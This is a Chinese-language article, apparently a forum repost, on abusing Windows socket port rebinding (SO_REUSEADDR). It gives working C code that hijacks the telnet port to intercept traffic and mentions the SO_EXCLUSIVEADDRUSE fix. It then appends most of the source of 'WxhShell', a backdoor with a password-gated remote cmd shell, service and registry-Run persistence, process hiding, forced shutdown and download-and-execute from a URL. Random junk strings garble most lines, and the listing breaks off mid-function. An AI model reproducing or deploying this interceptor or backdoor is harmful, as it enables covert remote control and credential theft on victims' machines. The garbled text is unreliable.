在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
r"R#@V\'1b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
zv"Z DRW x$%!U[!3 saddr.sin_family = AF_INET;
I`p;F!s as_PoCoss saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5 u0HI !Rt>xD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;({W#Wa tRfo$4#NY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1!gbTeVlY SZ$Kz n 这意味着什么?意味着可以进行如下的攻击:
*WT`o> AzxXB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7\q~%lDE 6MkP |vr6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w+{LAS OydwE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
O0y_Lm\ veh<R]U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0K2`-mL *D3/@S$B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xZv#Es%# F@:'J\I}: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}Z,x~G Wiu"k%Qsh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'6Q=#:mc\ 1y4 #include
|H+Wed| #include
&pp|U} #include
Y.r+wc] #include
(ICd} DWORD WINAPI ClientThread(LPVOID lpParam);
9
|vLwQ int main()
9p2&)kb6 {
{jX2} WORD wVersionRequested;
H
DFOA DWORD ret;
FG*r'tC~r WSADATA wsaData;
/RC7"QzL BOOL val;
~`:L?Jkb6H SOCKADDR_IN saddr;
1PV'?tXp( SOCKADDR_IN scaddr;
>s?S+W[L int err;
2V;PYI SOCKET s;
v OpKNp SOCKET sc;
%n: k# int caddsize;
[mGLcg6Fw HANDLE mt;
;x@~A^<el DWORD tid;
}@+:\ wVersionRequested = MAKEWORD( 2, 2 );
wx0j(:B] err = WSAStartup( wVersionRequested, &wsaData );
^RtIh-Z.9 if ( err != 0 ) {
9c :cw printf("error!WSAStartup failed!\n");
` v@m-j6 return -1;
Ge-vWf-RbB }
Y#P%6Fy saddr.sin_family = AF_INET;
g~A`N=r;h VZmLS 4E //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@'!SN\?W8 JB[~;nLlC saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)C]gld;8 saddr.sin_port = htons(23);
W+ko q*P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y^EcQzLw {
dvJM6W>^= printf("error!socket failed!\n");
>_"an~Ss return -1;
|Uh }
2)HuZda val = TRUE;
D!-g&HBTC //SO_REUSEADDR选项就是可以实现端口重绑定的
V/I<g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ks`J([(W& {
T!WT;A printf("error!setsockopt failed!\n");
)"aV* " return -1;
!\.pq 2 }
jQ^|3#L\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*]/zc1Q4M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wHMX=N1/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
GM f
`A,> ofw3S|F6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qm8B8&- {
::{Q1F ret=GetLastError();
/zVOK4BqN+ printf("error!bind failed!\n");
B; h"lv return -1;
.jT#:_ }
~^fZx5 listen(s,2);
l$pm_%@2] while(1)
G[I"8iS, {
JL}_72gs caddsize = sizeof(scaddr);
dV$gB<iS //接受连接请求
Y;^l%ePuW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d K3*; if(sc!=INVALID_SOCKET)
}" %?et( {
EGU
0)< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
X296tA>C` if(mt==NULL)
9BBmw(M} {
0e ~JMUb printf("Thread Creat Failed!\n");
Z!zF\<r break;
'UX!*5k<: }
[H^z-6x:0 }
9oR@UW1 CloseHandle(mt);
']z{{UNUN }
YdC6k?tzS closesocket(s);
Nk VK WSACleanup();
/,&<6c-Q@W return 0;
=O_4|7Zl }
`l){!rg8IC DWORD WINAPI ClientThread(LPVOID lpParam)
dkBIx$t {
4,gK[ dc SOCKET ss = (SOCKET)lpParam;
H-*yh! SOCKET sc;
[KaAXv
.X unsigned char buf[4096];
^-Kf']hU SOCKADDR_IN saddr;
V0.vQ/ long num;
d#rf5<i DWORD val;
?5|>@> DWORD ret;
Pz |>"' //如果是隐藏端口应用的话,可以在此处加一些判断
q{I%Q)t)gU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
I%X6T@P saddr.sin_family = AF_INET;
^"1n4im saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
JZ*/,|1}EC saddr.sin_port = htons(23);
ju8q?Nyhs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9gEwh< {
]kRfB:4ED printf("error!socket failed!\n");
1AfnzGvA return -1;
lC("y'
:: }
#+HJA42 val = 100;
`nv~NLkl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OXSmt
DvJ {
1;r|g)VM ret = GetLastError();
[-k return -1;
x_6[P2"PP }
(%e.:W${ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2%@4] {
Tx=-Bb~; ret = GetLastError();
wb5baY9 return -1;
tip+q d }
,+vy,<e& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
R_ ,U Mt {
Ug t.&IA printf("error!socket connect failed!\n");
K'Tm_"[u closesocket(sc);
kmsb hYM) closesocket(ss);
eH3JyzzP, return -1;
&5spTMw8 }
x?p1
HUK while(1)
;I 9&]
{
6YLj^w] % //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<+Dn8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
+]A:M6P:{v //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bv9i*] num = recv(ss,buf,4096,0);
Ym{tR,g7 if(num>0)
?{|q5n send(sc,buf,num,0);
\y)rt ) else if(num==0)
w\}ieI8J break;
|\<`Ib4j num = recv(sc,buf,4096,0);
v/0QOp if(num>0)
j4qR(p(vC send(ss,buf,num,0);
qL&[K>2z else if(num==0)
EC6DW= break;
DV+xg3\(>1 }
t?ZI".> closesocket(ss);
^ft>@=K(| closesocket(sc);
YEs & return 0 ;
7>|J8*/Nd }
}QcCS2)Ud KL:j?.0 .TR9975 ==========================================================
{M$1N5Eh !M]uL&: 下边附上一个代码,,WXhSHELL
V!ZC( $L>@Ed< ==========================================================
D>@I+4{p iNz=e=+Si #include "stdafx.h"
Av$^ 7 60Y$/Wz #include <stdio.h>
?m=N]!n #include <string.h>
#*uL)2nR #include <windows.h>
@ ZwvBH #include <winsock2.h>
.b&t;4q #include <winsvc.h>
t#/YN.@r #include <urlmon.h>
!t%j?\f VT%NO'0 #pragma comment (lib, "Ws2_32.lib")
/W30~y #pragma comment (lib, "urlmon.lib")
:P\7iW ;|5F[ #define MAX_USER 100 // 最大客户端连接数
Ar|0b}=)> #define BUF_SOCK 200 // sock buffer
wj<6kG #define KEY_BUFF 255 // 输入 buffer
Eh;'S"{/?j # E^1|: #define REBOOT 0 // 重启
fue(UMF~ #define SHUTDOWN 1 // 关机
0r] t `{H }6}l7x #define DEF_PORT 5000 // 监听端口
E7 Ul;d
JEwa
& #define REG_LEN 16 // 注册表键长度
@= Uh',F #define SVC_LEN 80 // NT服务名长度
OU(8V^. s1$nvTzBr // 从dll定义API
u+e{Mim typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z{Qu<vy_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y3cMC) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
qu6D 5t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
D|L9Vs` '!cCMTj // wxhshell配置信息
%2/EaaR struct WSCFG {
ks qQM int ws_port; // 监听端口
`$<.pOm char ws_passstr[REG_LEN]; // 口令
| '8Nh int ws_autoins; // 安装标记, 1=yes 0=no
Nk
8 B_{ char ws_regname[REG_LEN]; // 注册表键名
7Lc]HSZo, char ws_svcname[REG_LEN]; // 服务名
mPK:R^RjG& char ws_svcdisp[SVC_LEN]; // 服务显示名
o>i4CCU+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
B6As,)RjD: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4*#18<u5 int ws_downexe; // 下载执行标记, 1=yes 0=no
H8zK$! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V-2(?auZd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v0+BkfU+p 4qh?,^Dq };
\0I_< cJ
n= // default Wxhshell configuration
VUGmi]qd struct WSCFG wscfg={DEF_PORT,
]^'Kd*x "xuhuanlingzhe",
l0w]`EE 1,
L>NL:68yN "Wxhshell",
|A9F\A->4 "Wxhshell",
x8\?}UnB "WxhShell Service",
5iw<>9X* "Wrsky Windows CmdShell Service",
fLD,5SN "Please Input Your Password: ",
~i{(<.he 1,
>d*@_kJM "
http://www.wrsky.com/wxhshell.exe",
!bx;Ta. "Wxhshell.exe"
)Y0!~#
` };
(ejvF):| &|ex`nwc0 // 消息定义模块
rgv?gaQ> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
z}9(x.I char *msg_ws_prompt="\n\r? for help\n\r#>";
w"|L:8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1..+F0U char *msg_ws_ext="\n\rExit.";
a=1@*ID char *msg_ws_end="\n\rQuit.";
NC`aP0S char *msg_ws_boot="\n\rReboot...";
nFe<w char *msg_ws_poff="\n\rShutdown...";
q=m'^
,gPS char *msg_ws_down="\n\rSave to ";
oj<gD $am$EU?s char *msg_ws_err="\n\rErr!";
Xp% v.M char *msg_ws_ok="\n\rOK!";
wqs?828x uc\Kg1{ char ExeFile[MAX_PATH];
e@07 int nUser = 0;
hJ? O],4J HANDLE handles[MAX_USER];
[`[|l
int OsIsNt;
#&k5d: JPUW6e07o SERVICE_STATUS serviceStatus;
,0Hr2*p SERVICE_STATUS_HANDLE hServiceStatusHandle;
mh#a#< RFc v^Xf // 函数声明
)}(^,
Fo c int Install(void);
|O+H[;TB6 int Uninstall(void);
)
7@ `ut int DownloadFile(char *sURL, SOCKET wsh);
+oML&g-g_ int Boot(int flag);
gp?uHKsM void HideProc(void);
6ex/TySM int GetOsVer(void);
: /N0!&7 int Wxhshell(SOCKET wsl);
/NFj(+&g+ void TalkWithClient(void *cs);
Fb>?1i`RN int CmdShell(SOCKET sock);
FUb\e-Q= int StartFromService(void);
`?@}>. int StartWxhshell(LPSTR lpCmdLine);
u@M,qo` ]Sz:|%JP1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e}7lBLK]* VOID WINAPI NTServiceHandler( DWORD fdwControl );
n\'4 1#2 I // 数据结构和表定义
B{#I:Rs9 SERVICE_TABLE_ENTRY DispatchTable[] =
(gU!=F?#m {
[ 5b--O {wscfg.ws_svcname, NTServiceMain},
a0E)2vt4 {NULL, NULL}
j0aXyLNX };
y9GoPC`z ]^7@}Ce_ // 自我安装
h"Q8b}$^) int Install(void)
wv1iSfW {
!hy-L_wL] char svExeFile[MAX_PATH];
q!7ANib6O HKEY key;
UnV.~ u~ strcpy(svExeFile,ExeFile);
,PW'#U: <2x^slx)? // 如果是win9x系统,修改注册表设为自启动
i$#;Kpb`^ if(!OsIsNt) {
5H9z4-i x? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lNh70G8^p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AKfDXy RegCloseKey(key);
((;!<5-`s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Eyqa?$R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@n /nH?L RegCloseKey(key);
b\!_cb~ "@ return 0;
$( kF# }
]:- mbgW }
0i>5<ej,f }
k%#EEMh else {
"Gzz4D FVbb2Y?R // 如果是NT以上系统,安装为系统服务
Lg.gfny[(t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R+z2}}Z!` if (schSCManager!=0)
Y\P8v {
;[YG@-"XZ SC_HANDLE schService = CreateService
7Q9 w?y~c (
"+nRGEs6 schSCManager,
cwlRQzQ( wscfg.ws_svcname,
4e7-0}0 wscfg.ws_svcdisp,
s
5Qcl;} SERVICE_ALL_ACCESS,
\?-<4Bc@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Hzz %3}E SERVICE_AUTO_START,
yx[/|nZDC4 SERVICE_ERROR_NORMAL,
'<)n8{3Q5w svExeFile,
Q&tG4f< NULL,
L`TLgH&?R NULL,
1R%.p7@5QU NULL,
Pmx-8w NULL,
)2o?#8J NULL
O8r|8]o );
f'RX6$}\1X if (schService!=0)
`/+>a8 {
/36:ms A CloseServiceHandle(schService);
Wvh#:Z CloseServiceHandle(schSCManager);
&Z@o Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
khxnlry strcat(svExeFile,wscfg.ws_svcname);
9W5lSX#^; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vI>w e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;igIZ$& RegCloseKey(key);
<n$'voR7] return 0;
.~;\eW [ }
qe#tj/aZ }
;[DU%f CloseServiceHandle(schSCManager);
ADzhNfS }
Wn2NMXK }
V}CG:9; uGG t\.$]s return 1;
JH9J5%sp }
ZMlm)?m !Ai@$tl[S // 自我卸载
(w3YvG. int Uninstall(void)
6nvz8f3*r] {
\M^bD4';> HKEY key;
~36!?&eA8 [z{1*Xc if(!OsIsNt) {
/([kh~a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C1)!f j= RegDeleteValue(key,wscfg.ws_regname);
N4!O.POP RegCloseKey(key);
ZY+qA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b4kgFA
RegDeleteValue(key,wscfg.ws_regname);
Jnov<+ RegCloseKey(key);
T8$y[W-c return 0;
V 5mTP' }
g) jYFfGfH }
V)25$aKW7 }
}Sv:`9= else {
Y$_B1_ wc4=VC"y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0GeTSFj if (schSCManager!=0)
usF.bkTp {
TC*g|d @b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#*Ctwl,T if (schService!=0)
#"~<HG}bR/ {
y<Ot)fa$ if(DeleteService(schService)!=0) {
~c `l@: CloseServiceHandle(schService);
"
H\k`.j CloseServiceHandle(schSCManager);
UCj ld return 0;
n:!_ }
Iefn$ CloseServiceHandle(schService);
~]2K^bh8& }
5rik7a)Z] CloseServiceHandle(schSCManager);
kxv1Hn"`{E }
YaqJ,"GlT }
7kEn \ \4fQMG return 1;
c^W)07-X5y }
a:w#s}bL =aW9L)8D // 从指定url下载文件
%.|@]!C int DownloadFile(char *sURL, SOCKET wsh)
Km$\:Xo {
9%9#_?RW HRESULT hr;
InI$:kJ char seps[]= "/";
dy[X3jQB char *token;
(sZ"iGn% char *file;
6'f;-2 char myURL[MAX_PATH];
ckCE1e>s char myFILE[MAX_PATH];
mC#>33{ 0g8NHkM:2a strcpy(myURL,sURL);
y:uE3Apm token=strtok(myURL,seps);
]Y&VT7+Z while(token!=NULL)
;$g?T~v7 {
@r1_U,0e file=token;
f/?P514h token=strtok(NULL,seps);
r~['VhI!;E }
sW\!hW1*x S_H+WfIHV' GetCurrentDirectory(MAX_PATH,myFILE);
dR]m8mdqc1 strcat(myFILE, "\\");
pQB."[n strcat(myFILE, file);
y6BAH send(wsh,myFILE,strlen(myFILE),0);
V0mn4sfs send(wsh,"...",3,0);
Ny/MJ#Lq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*vMn$,^0h9 if(hr==S_OK)
)^hbsMhO return 0;
#RLt^$!H else
J{G?-+` return 1;
@H8EWTZ seJ^s@H5l }
{'H(g[k :ShT|n7 // 系统电源模块
jPkn[W#
6 int Boot(int flag)
8z\xrY {
j?QDR HANDLE hToken;
J'r^/ TOKEN_PRIVILEGES tkp;
8u]2xB=K F!K>K z if(OsIsNt) {
lyhiFkO
iH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\i&<s; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
COlaD"Y tkp.PrivilegeCount = 1;
Z;"vW!%d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f|(M.U- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xT2PyI_: if(flag==REBOOT) {
9>#6*/Oa7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K*d Cc}:` return 0;
@C aG9] }
A3*!"3nU else {
%;!.n{X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qqU 64E return 0;
hi[pVk~B) }
<~=Vg }
a8Wwq?@ else {
xgtR6E^k if(flag==REBOOT) {
}Y4qS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8q7b_Pq1U return 0;
3G4-^hY< }
<OPArht else {
L}NSR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}<:}XlwT% return 0;
/qw.p# }
QS`] }
1h5 Akq vZ Lf return 1;
T51
`oZ` }
wz8yD8M TL#3;l^ // win9x进程隐藏模块
+"VP-s0 void HideProc(void)
)`D:F>p* {
2J;g{95z /Ci<xmP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
P0b7S'a4! if ( hKernel != NULL )
$ME)#( {
IE~ |iQ?- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>LuYHr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
tLmTjX .6 FreeLibrary(hKernel);
teVM*- }
4KrL{Z+} dgePPhj
return;
T[A69O]v }
Ga'swP=hf L/^I*p, // 获取操作系统版本
?z
u8)U int GetOsVer(void)
>o,TZc\ {
"zy7C*)>r OSVERSIONINFO winfo;
#LOwGJ$yVz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
40
0#v|b GetVersionEx(&winfo);
v.5+7,4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
YK~%x o return 1;
1-QS~)+ else
EJ@ ~/)< return 0;
uW3!Yg@ }
;9g2?-svw
OZ!^ak // 客户端句柄模块
F4{IEZ int Wxhshell(SOCKET wsl)
>&k-'`Nw {
{]|J5Dgfe SOCKET wsh;
0SPk|kr struct sockaddr_in client;
dcT80sOC DWORD myID;
X[TR3[1} `y* }lg T while(nUser<MAX_USER)
t&DEb_"De {
jF*j0PkNdb int nSize=sizeof(client);
29q _BR *: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-|\ZrE_h if(wsh==INVALID_SOCKET) return 1;
^sg,\zD 'X sn>~O4" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ecx<OTo if(handles[nUser]==0)
=mmWl9'mJ closesocket(wsh);
b<u3 hln%, else
HUO j0T nUser++;
xn|(9#1o }
PnG-h~Y3N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
GowH]MO RzusNS return 0;
$u6
3]rypm }
'[O;zJN; h `.& f // 关闭 socket
y18Y:)DkL void CloseIt(SOCKET wsh)
tFl"n;~T {
&Y eA:i? closesocket(wsh);
/5AJ.r nUser--;
R_xRp&5 ExitThread(0);
.w,q0<} }
t );/'3| Vs{|xG7WD // 客户端请求句柄
e(8Ba X_ void TalkWithClient(void *cs)
/JU.?M35 {
Oz#{S:24M+ vSLtFMq^( SOCKET wsh=(SOCKET)cs;
G<;*SYAb char pwd[SVC_LEN];
S>;
5[l 4 char cmd[KEY_BUFF];
9JKEw char chr[1];
HLHz2-lI int i,j;
7})[lL`\s cPc</[x[W while (nUser < MAX_USER) {
_n\GNUA 5QO9Q]I#_\ if(wscfg.ws_passstr) {
~.lPEA %% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_oDz- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vgN&K@hJ //ZeroMemory(pwd,KEY_BUFF);
0'o:#- i=0;
w"&n?L while(i<SVC_LEN) {
1ZB"EQ FN) $0 // 设置超时
b*Q&CL fd_set FdRead;
GNJj=1Lsd struct timeval TimeOut;
5.J.RE"M FD_ZERO(&FdRead);
]:/Q]n^ FD_SET(wsh,&FdRead);
mUx+Y ]Ep TimeOut.tv_sec=8;
63x?MY6 TimeOut.tv_usec=0;
'>C5-R:O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
yJe>JK~) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u08mqEa c-FcEW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t.\dpBq pwd
=chr[0]; 8|58 H
if(chr[0]==0xd || chr[0]==0xa) { Yk Qd
pwd=0; 1]/.` ]1
break; g95`.V}
} @2v_pJy^
i++; 2gVm9gAHUd
} IRqy%@)
9490o:s
// 如果是非法用户,关闭 socket )TM4R)r%)9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i8HTzv"J
} 8Kk(8a&v
DrK{}uM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #@nezu2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LC!bIm5'
}|5Pr(I
while(1) { Fh9h,'
V"
4#hSJ(~7S
ZeroMemory(cmd,KEY_BUFF); gt w Q-
g5r(>, vY
// 自动支持客户端 telnet标准 ! #2{hQRu
j=0; xWQ`tWA:J
while(j<KEY_BUFF) { 4)o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $\y'IQ%
cmd[j]=chr[0]; i,9)\1R
if(chr[0]==0xa || chr[0]==0xd) { 7EO_5/cY
cmd[j]=0; cq4Ipe
break; >Wg hn:^
}
ls)%c
j++; %vi<Aseg
} As<bL:>dE
Jo23P.#<
// 下载文件 A1zjPG&]
if(strstr(cmd,"http://")) { 3I-MdApT
send(wsh,msg_ws_down,strlen(msg_ws_down),0); q;)JISf.
if(DownloadFile(cmd,wsh)) 0v$~90)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0Fh%Y4)QH
else s.NGA.]$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WaR`Kp+>
} %FI E\9
else { _b;{_g
hTi$.y!k
switch(cmd[0]) { #|PS&}6wU
Z!X0U7&U
// 帮助 KRDmY+
case '?': { m$T-s|SY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &H:(z4/
break; 3n}?bY8@5_
} yd`mG{Z
// 安装 'u<juFr
case 'i': { y;@:ulv[
if(Install()) "o}+Ciul
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =P
#]
else 3
xp)a%=7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pr UM-u8
break;
t[
C/
} x>`%DwoRI
// 卸载 (mt k 4
case 'r': { _MX>#!l
if(Uninstall()) O55 xS+3^k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !5uGd`^I
else cJ
@Wt>YI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 03S]8l
break; HBx=\%;n
} Z^MNf
// 显示 wxhshell 所在路径 !^Y(^RS@
case 'p': { 6MdiY1Lr!K
char svExeFile[MAX_PATH]; 0T5L_%c
strcpy(svExeFile,"\n\r"); UH/\
strcat(svExeFile,ExeFile); ,f;}|d:r
send(wsh,svExeFile,strlen(svExeFile),0); 2Dj%,gaR
break; :@A9](gI
} _8UDT^?8,
// 重启 u.Tcg^ v
case 'b': { v^iL5y!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *>qp:;,DKP
if(Boot(REBOOT)) Q%mB|i|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':m,)G5&
else { ly3\e_z:G
closesocket(wsh); CooQ>f
ExitThread(0); ^iw'^6~
} Jidwt$1l(
break; P:]^rke~&
} _?0}<kQ&
// 关机 =k`Cr0aPF
case 'd': { h6`6tk
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UVIKQpA]A
if(Boot(SHUTDOWN)) uT7B#b7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<TXS)w]
else { eHNyNVz
closesocket(wsh); 0o*8#i/)!3
ExitThread(0); 6- B|Y3)B
} ):_\;.L
break; _1 !OlQ
} HLaRGN3,
// 获取shell (7=!+'T"
case 's': { RxWVe-Dg
CmdShell(wsh); d8=x0~7
closesocket(wsh); 8::$AQL3
ExitThread(0); !AfHk|
break; &/]Fc{]^$f
} 0eu$ W
// 退出 3r."j2$Hs0
case 'x': { zz4N5["
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ktBj|-'>
CloseIt(wsh); ZO$m["|
break; >!bJslWA
} \k!{uRy'
// 离开 8=uu8-l8g
case 'q': { x$Oq0d{T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3e;^/kf<9
closesocket(wsh); ]B3=lc"
WSACleanup(); Vi]W |bP
exit(1); kbMWGB%;
break; Rww{:R
} w\i\Wp,FP
} (w/T-*
} Xe:jAkDp
Df<xWd2
// 提示信息 (I{rLS!o,L
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G5aieD.#
} Ne{?:h.!
} '2nhv,|.U
*XbEiMJ
return; ^^as'Dk
} }Nm#q@o$P
jiS_G%G
// shell模块句柄 fc-iAj
int CmdShell(SOCKET sock) {NFr]LGOp
{ @l jA
STARTUPINFO si; _ff`y
ZeroMemory(&si,sizeof(si)); nR}sNl1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5l 2 ?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IIF]/Ek]
PROCESS_INFORMATION ProcessInfo; se>8 Z4
char cmdline[]="cmd"; O%!!w
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a>]uU*Xm
return 0; vMt/u?oB
} [~#WG/!:
_R13f@NWB:
// 自身启动模式 fS [,vPl
int StartFromService(void) kG@@ot" n
{ *|>d
typedef struct h
WtVWVNL
{ 2ZMb<b4H
DWORD ExitStatus; e .2ib?8
DWORD PebBaseAddress; {kCw+eXn?
DWORD AffinityMask; p~^D\jR.
